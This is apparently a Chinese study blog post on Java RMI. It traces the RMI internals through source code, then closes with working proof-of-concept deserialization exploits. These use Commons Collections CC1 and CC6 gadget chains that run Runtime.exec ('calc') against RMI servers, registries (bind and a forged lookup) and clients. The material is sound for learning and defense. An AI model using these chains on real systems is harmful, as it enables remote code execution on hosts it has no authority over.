java RMI 学习
RMI 是什么
Java RMI(Java Remote Method Invocation),即Java远程方法调用。是Java编程语言里,一种用于实现远程过程调用的应用程序编程接口。RMI 使用 JRMP(一种协议)实现,使得客户端运行的程序可以调用远程服务器上的对象。是实现RPC的一种方式。
RMI 的构架
Stub和Skeleton
Stub(存根)和Skeleton(骨架),当客户端试图调用一个远端对象,实际上会调用客户端本地的一个代理类,也就是Stub。而在调用服务端的目标类之前,也会经过一个对应的代理类,也就是Skeleton。它从Stub接收远程方法调用并将它们传递给对象。通常来说,Stub用于模拟或代替系统中的某个组件,而Skeleton用于描述系统的基本架构或结构。Stub通常是用于测试或替代组件,而Skeleton通常是用于指导系统的设计和构建过程。
RMI 实列元素
- Client:客户端,调用远程方法
- Server:服务端,提供远程服务
- Registry:注册中心,类比成 RMI 的电话薄。类似一个网关,自己并不执行远程方法。但服务端可以在上面注册一个 Name 到对象的绑定关系。客户端通过这个 Name 向注册中心查询,得到这个绑定关系后,再链接服务端。使用注册中心查找对另一台主机上已经注册远程对象的引用。注册中心引导通过远程方法来传递远程引用
RMI 实现过程
这张图非常详细的描述了 RMI 的过程,先是远程的服务端创建并注册远程对象,然后客户端再进行查找的的时候先会去注册中心进行查找,然后注册中心返回服务端远程对象的存根
然后调用远程对象方法时,客户端本地存根和服务端骨架进行通信,然后就是骨架代理进行方法调用并且再服务端进行执行,然后骨架又把结果返回给存根,最后存根把结果给客户端,更详细的图
一个RMI 实列
java. rmi. Remote 接口
java.rmi.Remote接口用于标识可以从非本地虚拟机调用其方法的接口。任何作为远程对象的对象必须直接或者间接实现。只有那些远程接口(继承java.rmi.Remote接口)中指定的方法才可以远程使用
java.rmi.server.UnicastRemoteObject类
RMI提供了一些远程对象实现可以继承的便利类,这些类有助于远程对象的创建,其中包括java.rmi.server.UnicastRemoteObject类。这个类造方法会调用exportObject或调用exportObject静态方法,它会返回远程对象代理类,也就是Stub。如果不继承该类可以手动调用其静态方法 exportObject
来手动 export 对象。
RMI Server
一、编写一个远程接口
远程接口要求:
- 使用public声明,否则客户端在尝试加载实现远程接口的远程对象时会出错。(如果客户端、服务端放一起没关系)
- 同时需要继承Remote类,也就是需要实现java.rmi.Remote接口
- 接口的方法需要声明java.rmi.RemoteException报错
- 服务端实现这个远程接口
定义一个我们期望能够远程调用的接口,这个接口必须扩展 java.rmi.Remote
接口,用来远程调用的对象作为这个接口的实例,也将实现这个接口,为这个接口生成的代理(Stub)也是如此。这个接口中的所有方法都必须声明抛出 java.rmi.RemoteException
异常,
package org.example;
import java.rmi.Remote;
import java.rmi.RemoteException; public interface RMIinter extends Remote { public String hello() throws RemoteException;
}
二、编写一个实现了这个远程接口的实现类
实现类要求:
- 实现远程接口
- 继承UnicastRemoteObject类(具体效果上面有说)
- 构造函数需要抛出一个RemoteException错误
- 实现类中使用的对象必须都可序列化,即都继承java.io.Serializable
- 注册远程对象
package org.example; import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject; public class RMIobj extends UnicastRemoteObject implements RMIinter { protected RMIobj() throws RemoteException { super(); } public String hello() throws RemoteException { System.out.println("hello()被调用"); return "gaoren"; }
}
现在被调用的对象就创建好了,接下来就是如何实现调用了。
RMI Registry
在上面的流程图不难看到还有个Registry 的思想(不在解释),这种思想主要由 java.rmi.registry.Registry
和 java.rmi.Naming
来实现。
1、java.rmi.Naming
这是一个 final 类,提供了在远程对象注册表(Registry)中存储和获取远程对象引用的方法,这个类提供的每个方法都有一个 URL 格式的参数,格式如下: //host:port/name
:
- host 表示注册表所在的主机
- port 表示注册表接受调用的端口号,默认为 1099
- name 表示一个注册 Remote Object 的引用的名称,不能是注册表中的一些关键字
Naming 提供了查询(lookup)、绑定(bind)、重新绑定(rebind)、接触绑定(unbind)、list(列表)用来对注册表进行操作。也就是说,Naming 是一个用来对注册表进行操作的类。而这些方法的具体实现,其实是调用 LocateRegistry.getRegistry
方法获取了 Registry 接口的实现类,并调用其相关方法进行实现的。
2、java. rmi. registry. Registry
这个接口在 RMI 下有两个实现类,分别是 RegistryImpl 以及 RegistryImpl_Stub。
我们通常使用 LocateRegistry#createRegistry()
方法来创建注册中心
package org.example;
import java.rmi.Naming;
import java.rmi.registry.LocateRegistry; public class Registry { public static void main(String args[])throws Exception { LocateRegistry.createRegistry(1099); System.out.println("Server Start"); // 创建远程对象 RMIinter rmiobj = new RMIobj(); // 绑定远程对象 Naming.bind("rmi://localhost:1099/Hello", rmiobj); }
}
RMI Client
客户端进行调用,向注册中心查询相应的Name,调用相应的远程方法
package org.example; import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Arrays; public class cilent { public static void main(String[] args)throws RemoteException, NotBoundException { Registry registry = LocateRegistry.getRegistry("localhost", 1099); System.out.println(Arrays.toString(registry.list())); RMIinter stub = (RMIinter) registry.lookup("Hello"); System.out.println(stub.hello()); }
}
这里 RMIinter 接口在 Client/Server/Registry 均应该存在,只不过通常 Registry 与 Server 通常在同一端上。
首先需要启动服务端RMI服务,运行服务端代码。然后客户端请求远程方法,也就是运行客户端的代码
服务端
客户端
这样一次简单的远程调用就完成了,不难发现其实方法的执行是在服务端执行的。
源码分析
服务注册
远程对象注册
关键代码:
RMIinter rmiobj = new RMIobj();
直接开始调试,在到 UnicastRemoteObject 构造函数之前,会先调用其静态方法进行一些赋值,不过不影响不用管,直接到其构造函数
初始化时会调用exportObject
方法,这里的this是我们要注册的远程对象。
可以看到这里的 exportObject
方法是个静态函数,所以说如果没有继承 UnicastRemoteObject
类可与进行静态调用其方法。然后其参数 new 了一个 UnicastServerRef
类,跟进一手
又 new 了一个 LiveRef
类,继续跟进
this 就是调用其构造函数,然后 new 的那个就是个 id,跟进其构造函数,
三个参数,第二个参数就是处理的网络请求,把端口进行一通处理,继续跟进 this
可以看到刚刚的第二个参数就是 ip 和端口嘛,然后出去。其实总的来说就是创建了个 LiveRef
类然后将其赋值给服务端和客户端。
出来后继续跟进 exportObject
方法
这里可以看到把刚刚的 liveref 赋值给了 sref,也就是服务端。
继续跟进 sref.exportObject
方法
可以看到这里出现了 stub 代理类,通过 createProxy
来创建的,跟进
先看下这里的三个参数
impClass 就是 stub 代理类,cilentRef 实质上还是之前创建的 ref。
继续看看到一处逻辑
最主要的是 stubClassExists(remoteClass)
,其值为真就调用 if 语句,跟进看看:
因为这里的 remoteClass 没有 remoteClass_Stub 所以返回 false,
那么就会进行动态代理的创建,用 RemoteObjectInvocationHandler
为UnicastRef
对象创建动态代理,最后会返回一个Remote类型的代理类,在调用代理类方法时,就会会调用 RemoteObjectInvocationHandler.invoke
方法,这个后面再议。继续下一步,stub 创建好后其实可以看到里面最主要的还是 ref 部分。
再往下走,发现其创建了 target 类,
看其参数,也就是一个总封装,把前面哪些对象什么的全放进去。
继续跟进看到调用了 ref.exportObject
,然后一直跟进
最后到了 TCPTransport.exportObject
方法,
listen() 里面就是涉及到网络请求的内容的,就是开启一个端口然后等待客户端连接进行操作。
可以看到就是已经开启端口了,然后又调用了父类的 exportObject 方法,
将Target对象存放进ObjectTable中,ObjectTable 用来管理所有发布的服务实例 Target。
其实总的来说涉及到的大多是网络通信的东西,就是把创建的 ref 赋值给服务端然后创建个 stub,在把前面那些对象全部封装进 target,然后在 TCPTransport 中对网络通信进行处理发布服务,最后把 target 放进 ObjectTable 中。
注册中心创建
ocateRegistry.createRegistry(1099);
跟进 createRegistry
函数,
new 了一个 RegistryImpl 对象,继续跟进
看到这里和上面远程对象注册很像,都 new 了个 liveref 对象,这里就不在跟进了和上面是一样的。
继续走又创建了个 UnicastServerRef
对象,
就是个赋值,跟进 setup 方法里面,
调用了 uref.exportObject
方法,回顾上面的远程对象注册,是调用的 sref.exportObject
,
其实都是 UnicastServerRef
的 exportObject
方法,这里的 this 是 RegestryImpl
对象
继续跟进
又是创建 stub,不过稍有区别了,跟进
这里的 RometeClass
是 RegestryImpl
对象,由于存在 RegestryImpl_Stub
,所以会返回 true,执行 if 语句。
执行的 createStub
方法其实也就是创建了个 RegestryImpl_Stub
实列化对象,
最后回到 exportObject
方法,stub 代理类也就创建好了,对比和上面远程对象注册中的 stub 确实不一样,上面的 stub 是动态代理创建的。
然后又因为满足下面的 if 条件会执行 setSkeleton
方法
看到又是创建 skle 代理,其实和 stub 代理创建差别不大,实列化了 RegestryImpl_Skel
对象
最后又是创建了个 target 对象
也是把刚刚那些对象进行一个总封装,不过比起上面的远程对象注册多了个远程对象 Impl 中多了 skel 对象,并且 stub 对象也不一样了。
最后还是调用 putTarget
方法将其添加进 objecttable 中,可以看到多了一个 hashmap,11 是远程对象注册添加的,至于那个 2 是 DGC ,后面再说。
注册中心与远程服务对象注册的大部分流程相同,差异在:
- 远程服务对象使用动态代理,invoke 方法最终调用 UnicastRef 的 invoke 方法,注册中心使用 RegistryImpl_Stub,同时还创建了 RegistryImpl_Skel
- 远程对象默认随机端口,注册中心默认是 1099(当然也可以指定)
服务注册
关键代码
Naming.bind("rmi://localhost:1099/Hello", rmiobj);
先是把两个参数进行处理,然后只把 name 被 obj 传入 registry.bind 中。
调用了 newCall
方法,(这里我这个类是 class 文件,没有源码无法正常调试,随便调调好了)
继续跟进,
看到熟悉的 ref 了,总之这个方法就是建立一个连接,然后继续看到会对其进行序列化,
然后执行了UnicastRef.invoke方法,
跟进后在方法 executeCall
,又对连接对象行了反序列化。
这个应该属于远程绑定,一般服务端和注册中心在一端可以直接执行如下命令进行绑定
java.rmi.registry.Registry r = LocateRegistry.createRegistry(1099);
r.bind("Hello", rmiobj);
这个 bind 就太好分析了,就不多说了。
服务发现
服务发现,就是获取注册中心并对其进行操作的过程,这里面包含 Server 端和 Client 端两种。如果是在 Server 端,我们希望在注册中心上绑定(bind)我们的服务,如果是 Client 端,我们希望在注册中心遍历(list)、查找(lookup)和调用服务。
相应代码:
RMIinter stub = (RMIinter) registry.lookup("Hello");
调用lookup方法,通过对应的RMI_NAME,获取远程对象接口
同样是个建立个连接,然后对 remoteCall 进行序列化。
又通过UnicastRef.invoke方法传输这个remoteCall,通过反序列化来获取注册远程对象时创建的代理类。
最后return这个对象。
服务调用
上面 Client 拿到 Registry 端返回的动态代理对象并且反序列化后,对其进行调用,这看起来是本地进行调用,但实际上是动态代理的 RemoteObjectInvocationHandler 委托 RemoteRef 的 invoke 方法进行远程通信,由于这个动态代理类中保存了真正 Server 端对此项服务监听的端口,因此 Client 端直接与 Server 端进行通信。
客户端
直接看
stub 是个动态代理类,在其调用 hello()
方法的时候会直接调用到 handler 的 invoke 方法,
最后调用到了invokeRemoteMethod
函数
跟进,这里 ref 是 UnicastRef,会调用其 invoke 方法。
marshalValue()
就是进行序列化,是对传入的参数进行序列化,只是这里调用的 hello 方法是个无参方法。
然后继续看见调用了executeCall
函数。
刚刚上面服务注册不难看出里面可以进行反序列化,这里不在深入了,继续看这个 invoke 方法逻辑,发现如果方法有返回值还会调用 unmarshalValue
方法进行反序列化,
但是由于这里返回值是 string 型不符合条件会直接返回。
到此客户端的方法调用就结束了。
注册中心
接下来继续看注册中心,要从 listen 哪里开始跟进,总之就是发布网络后处理一些请求的 JRMP
协议内容,最后调用到了 serviceCall
方法
可以对 objectTable 进行了个获取,看看 target 里是什么
就是注册中心的 stub 嘛,然后继续看发现其分发器 disp 里有 skel 代理类
在该函数最下面调用了 disp.dispatch 方法
然后继续看,skel 不是 null 满足条件执行 if 语句,调用 oldDispatch
方法,
在这个方法里面最后调用到了 skle 的 dispatch 方法
跟踪进入
由于这个类是 class 文件,就简单分析一下吧,有很多 case,然后这里客户端调用的是 lookup 方法是 2
就是查找 RMI 服务名绑定的接口对象,序列化该对象并通过 RemoteCall 传输到客户端。
服务端
最后在看服务端是怎么处理的。
前面是差不多的就是在进行 skle 的条件判断的时候会是 false
不会执行 if 语句,继续向下走,
发现其会把在客户端进行序列化的参数进行反序列化(我这里方法没有参数无法进行调试)。
最后进行方法调用。
然后再把返回值进行序列化
至此就完美闭环了。
总结
RMI 底层通讯采用了Stub (运行在客户端) 和 Skeleton (运行在服务端) 机制,RMI 调用远程方法的大致如下:
- RMI 客户端在调用远程方法时会先创建 Stub (
sun.rmi.registry.RegistryImpl_Stub
)。 - Stub 会将 Remote 对象传递给远程引用层 (
java.rmi.server.RemoteRef
) 并创建java.rmi.server.RemoteCall
( 远程调用 )对象。 - RemoteCall 序列化 RMI 服务名称、Remote 对象。
- RMI 客户端的远程引用层传输 RemoteCall 序列化后的请求信息通过 Socket 连接的方式传输到 RMI 服务端的远程引用层。
- RMI服务端的远程引用层(
sun.rmi.server.UnicastServerRef
)收到请求会请求传递给 Skeleton (sun.rmi.registry.RegistryImpl_Skel#dispatch
)。 - Skeleton 调用 RemoteCall 反序列化 RMI 客户端传过来的序列化。
- Skeleton 处理客户端请求:bind、list、lookup、rebind、unbind,如果是 lookup 则查找 RMI 服务名绑定的接口对象,序列化该对象并通过 RemoteCall 传输到客户端。
- RMI 客户端反序列化服务端结果,获取远程对象的引用。
- RMI 客户端调用远程方法,RMI服务端反射调用RMI服务实现类的对应方法并序列化执行结果返回给客户端。
- RMI 客户端反序列化 RMI 远程方法调用结果。
DGC
Distributed Garbage Collection,分布式垃圾回收
当 RMI 服务器返回一个对象到其客户端(远程方法的调用方)时,其跟踪远程对象在客户机中的使用。当再没有更多的对客户机上远程对象的引用时,或者如果引用的“租借”过期并且没有更新,服务器将垃圾回收远程对象。
在前面远程对象注册时调用 put 时发现,在还没有 put 进行封装 target 时,里面已经存在一个 target 了。
可以看见其 stub 是 DGCImpl_Stub
类,那这个是怎么创建的呢?可以看见在执行 putTarget
方法时有这么一串代码
因为这里的 dgclog 是个静态变量
在调用静态变量时会完成类的初始化,最后会创建代理类
从上面的 target 不难看出这里的 stub 创建更像注册中心中 stub 的创建,因为 DCGImpl 存在 DCGImpl_Stub,所以相同的还会创建 DGCImpl_Skel 对象。
Java提供了java.rmi.dgc.DGC接口,这个接口继承了Remote接口,定义了dirty和clean方法
看到 dirty 方法调用了 UnicastRef.invoke 方法,
剩下的就是里面反序列化了。然后再看服务端的 DCGImpl_Skel 中
case1 或 2 就是对应的不同方法嘛,也是存在反序列化的。
攻击 RMI
在上面的 RMI 调用过程中我们可以发现,全部的通信流程均通过反序列化实现,而且在三个角色中均进行了反序列化的操作。那也就说明针对三端都有攻击的可能,我们依次来看一下。
攻击 server 端
恶意方法
远程方法的调用实际发生在服务端。当注册的远程对象上存在某个恶意方法,我们可以在客户端调用这个方法来攻击客户端,最简单的一种
恶意参数
在调用远程方法,会触发代理类的invoke方法,方法中会获取服务端创建的Stub,会在本地调用这个Stub并传递参数,序列化这个参数,然后再服务端是由会对这个参数进行反序列化,上面已经详细说明过了。
那么就可以构造恶意 Object 型参数。利用 CC1 的 lazymap 链
package org.example;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Arrays;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Proxy; public class cilent { public static void main(String[] args)throws RemoteException, NotBoundException ,Exception{ Registry registry = LocateRegistry.getRegistry("localhost", 1099); Object execObject = getexec(); System.out.println(Arrays.toString(registry.list())); RMIinter stub = (RMIinter) registry.lookup("Hello"); System.out.println(stub.hello(execObject)); } private static Object getexec() throws Exception{ Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{Runtime.class ,new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; Transformer transformerChain = new ChainedTransformer(transformers); Map innerMap = new HashMap(); innerMap.put("value","111"); Map outerMap = LazyMap.decorate(innerMap, transformerChain); Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor c = cls.getDeclaredConstructor(Class.class, Map.class); c.setAccessible(true); InvocationHandler handler = (InvocationHandler) c.newInstance(Target.class, outerMap); Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClass().getClassLoader(), new Class[]{Map.class}, handler); Object o = c.newInstance(Target.class, proxyMap); return o; }
}
服务端也需要 cc1 依赖,简单调试一番可以看到会调用到 AnnotationInvocationHandler.readobject
剩下的就不用多说了和 cc1 一样,当然其他链子都行,比如 cc6 起码可以打打其他 jdk 版本
package org.example; import java.lang.reflect.*;
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Arrays;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.lang.annotation.Target;
import java.util.HashMap;
import java.util.Map; public class cilent { public static void main(String[] args)throws RemoteException, NotBoundException ,Exception{ Registry registry = LocateRegistry.getRegistry("localhost", 1099); Object execObject = getexec(); System.out.println(Arrays.toString(registry.list())); RMIinter stub = (RMIinter) registry.lookup("Hello"); System.out.println(stub.hello(execObject)); } private static Object getexec() throws Exception{ Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{Runtime.class ,new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; ChainedTransformer cha = new ChainedTransformer(transformers); HashMap<Object, Object> map = new HashMap<>(); Map<Object, Object> Lazy = LazyMap.decorate(map,new ConstantTransformer(1)); TiedMapEntry Tie=new TiedMapEntry(Lazy,"aaa"); HashMap<Object,Object> hashmap = new HashMap<>(); hashmap.put(Tie,"gaoren"); Class<LazyMap> lazyMapClass = LazyMap.class; Field factoryField = lazyMapClass.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(Lazy, cha); Lazy.remove("aaa"); return hashmap; }
}
其他的如法炮制就是了。
替身攻击
在讨论对 Server 端的攻击时,还出现了另外一种针对参数的攻击思路--------替身攻击。依旧是用来绕过当参数不是 Object,是指定类型,但是还想触发反序列化的一种讨论。
大体的思路就是调用的方法参数是 HelloObject
,而攻击者希望使用 CC 链来反序列化,比如使用了一个入口点为 HashMap 的 POC,那么攻击者在本地的环境中将 HashMap 重写,让 HashMap 继承 HelloObject,然后实现反序列化漏洞攻击的逻辑,用来欺骗 RMI 的校验机制。
攻击 Registry 端
前面看到在使用 Registry 时,首先由 Server 端向 Registry 端绑定服务对象,这个对象是一个 Server 端生成的动态代理类,Registry 端会反序列化这个类并存在自己的 RegistryImpl 的 bindings 中,以供后续的查询,这里可以进行一个利用。也可以从客户端进行攻击,上面看到会调用 RegistryImpl_Skel.dispatch
,最后里面是存在反序列化的,也可以利用。
RegistryImpl_Skel.dispatch
里面对应关系如下
- 0->bind
- 1->list
- 2->lookup
- 3->rebind
- 4->unbind
list
没有反序列化,所以也就无法攻击了。
bind&rebind
case 0:try {var11 = var2.getInputStream();var7 = (String)var11.readObject();var8 = (Remote)var11.readObject();} catch (IOException var94) {throw new UnmarshalException("error unmarshalling arguments", var94);} catch (ClassNotFoundException var95) {throw new UnmarshalException("error unmarshalling arguments", var95);} finally {var2.releaseInputStream();}var6.bind(var7, var8);try {var2.getResultStream(true);break;} catch (IOException var93) {throw new MarshalException("error marshalling return", var93);}
case 3:try {var11 = var2.getInputStream();var7 = (String)var11.readObject();var8 = (Remote)var11.readObject();} catch (IOException var85) {throw new UnmarshalException("error unmarshalling arguments", var85);} catch (ClassNotFoundException var86) {throw new UnmarshalException("error unmarshalling arguments", var86);} finally {var2.releaseInputStream();}var6.rebind(var7, var8);try {var2.getResultStream(true);break;} catch (IOException var84) {throw new MarshalException("error marshalling return", var84);}
是有 readobject 方法的,可以进行反序列化攻击。看到都是获取 var2 的流然后进行反序列化,看看 var2 是什么
看到师傅说这就是一个远程对象,也就是这两个方法会用readObject读出参数名和远程对象。
所以还是 CC1 的 poc
package org.example; import java.rmi.NotBoundException;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Arrays;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Proxy; public class cilent { public static void main(String[] args)throws RemoteException, NotBoundException ,Exception{ Transformer[] transformers = new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{Runtime.class ,new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}) }; Transformer chain = new ChainedTransformer(transformers); HashMap innermap = new HashMap(); innermap.put("value","111"); Map map = LazyMap.decorate(innermap, chain); Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class); handler_constructor.setAccessible(true); InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map); //创建第一个代理的handler Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler); //创建proxy对象 Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class); AnnotationInvocationHandler_Constructor.setAccessible(true); InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map); Registry registry = LocateRegistry.getRegistry("localhost", 1099); Remote r = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(), new Class[] { Remote.class }, handler)); registry.bind("test",r); }
}
unbind&lookup
也存在反序列化
case 2:try {var10 = var2.getInputStream();var7 = (String)var10.readObject();} catch (IOException var89) {throw new UnmarshalException("error unmarshalling arguments", var89);} catch (ClassNotFoundException var90) {throw new UnmarshalException("error unmarshalling arguments", var90);} finally {var2.releaseInputStream();}var8 = var6.lookup(var7);
case 4:try {var10 = var2.getInputStream();var7 = (String)var10.readObject();} catch (IOException var81) {throw new UnmarshalException("error unmarshalling arguments", var81);} catch (ClassNotFoundException var82) {throw new UnmarshalException("error unmarshalling arguments", var82);} finally {var2.releaseInputStream();}var6.unbind(var7);
也有调用 readobject 方法,但是和bind以及rebind不一样的是只能传入String类型,这里我们可以通过伪造连接请求进行利用,修改lookup方法代码使其可以传入对象,原先的lookup方法
poc 直接抄的师傅们的了
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import sun.rmi.server.UnicastRef;import java.io.ObjectOutput;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;import java.rmi.server.Operation;
import java.rmi.server.RemoteCall;
import java.rmi.server.RemoteObject;
import java.util.HashMap;
import java.util.Map;public class Client {public static void main(String[] args) throws Exception {ChainedTransformer chain = new ChainedTransformer(new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),new InvokerTransformer("exec",new Class[] { String.class }, new Object[]{"open /System/Applications/Calculator.app"})});HashMap innermap = new HashMap();Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap");Constructor[] constructors = clazz.getDeclaredConstructors();Constructor constructor = constructors[0];constructor.setAccessible(true);Map map = (Map)constructor.newInstance(innermap,chain);Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);handler_constructor.setAccessible(true);InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map); //创建第一个代理的handlerMap proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler); //创建proxy对象Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);AnnotationInvocationHandler_Constructor.setAccessible(true);InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);Remote r = Remote.class.cast(Proxy.newProxyInstance(Remote.class.getClassLoader(),new Class[] { Remote.class }, handler));// 获取refField[] fields_0 = registry.getClass().getSuperclass().getSuperclass().getDeclaredFields();fields_0[0].setAccessible(true);UnicastRef ref = (UnicastRef) fields_0[0].get(registry);//获取operationsField[] fields_1 = registry.getClass().getDeclaredFields();fields_1[0].setAccessible(true);Operation[] operations = (Operation[]) fields_1[0].get(registry);// 伪造lookup的代码,去伪造传输信息RemoteCall var2 = ref.newCall((RemoteObject) registry, operations, 2, 4905912898345647071L);ObjectOutput var3 = var2.getOutputStream();var3.writeObject(r);ref.invoke(var2);}
}
攻击 Client 端
上面看到远程方法返回了一个命令执行结果到客户端,客户端会对其进行反序列化。意思是让返回结果为恶意对象就行。
这个就得服务端返回一个 object 对象了
服务端
package org.example; import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import java.lang.reflect.*;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import java.util.HashMap;
import java.util.Map;
public class RMIobj extends UnicastRemoteObject implements RMIinter { protected RMIobj() throws RemoteException { super(); } public Object hello() throws RemoteException ,Exception{ InvocationHandler handler = null; try { ChainedTransformer chain = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{ String.class, Class[].class}, new Object[]{ "getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{ Object.class, Object[].class}, new Object[]{ null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})}); HashMap innermap = new HashMap(); Class clazz = Class.forName("org.apache.commons.collections.map.LazyMap"); Constructor[] constructors = clazz.getDeclaredConstructors(); Constructor constructor = constructors[0]; constructor.setAccessible(true); Map map = (Map) constructor.newInstance(innermap, chain); Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class); handler_constructor.setAccessible(true); InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class, map); //创建第一个代理的handler Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Map.class}, map_handler); //创建proxy对象 Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class); AnnotationInvocationHandler_Constructor.setAccessible(true); handler = (InvocationHandler) AnnotationInvocationHandler_Constructor.newInstance(Override.class, proxy_map); }catch(Exception e){ e.printStackTrace(); } return (Object)handler; }
}
客户端进行调用
package org.example; import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.util.Arrays; public class cilent { public static void main(String[] args)throws RemoteException, NotBoundException { Registry registry = LocateRegistry.getRegistry("localhost", 1099); System.out.println(Arrays.toString(registry.list())); RMIinter stub = (RMIinter) registry.lookup("Hello"); stub.hello(); }
}
参考:https://su18.org/post/rmi-attack/#2-攻击-registry-端
参考:https://nivi4.notion.site/Java-RMI-8eae42201b154ecc89455a480bcfc164
参考:https://xz.aliyun.com/t/9053?time__1311=n4%2BxnD0DuAiti%3DGkD9D0x05Sb%2BDOSYKaNTNaTek4D#toc-1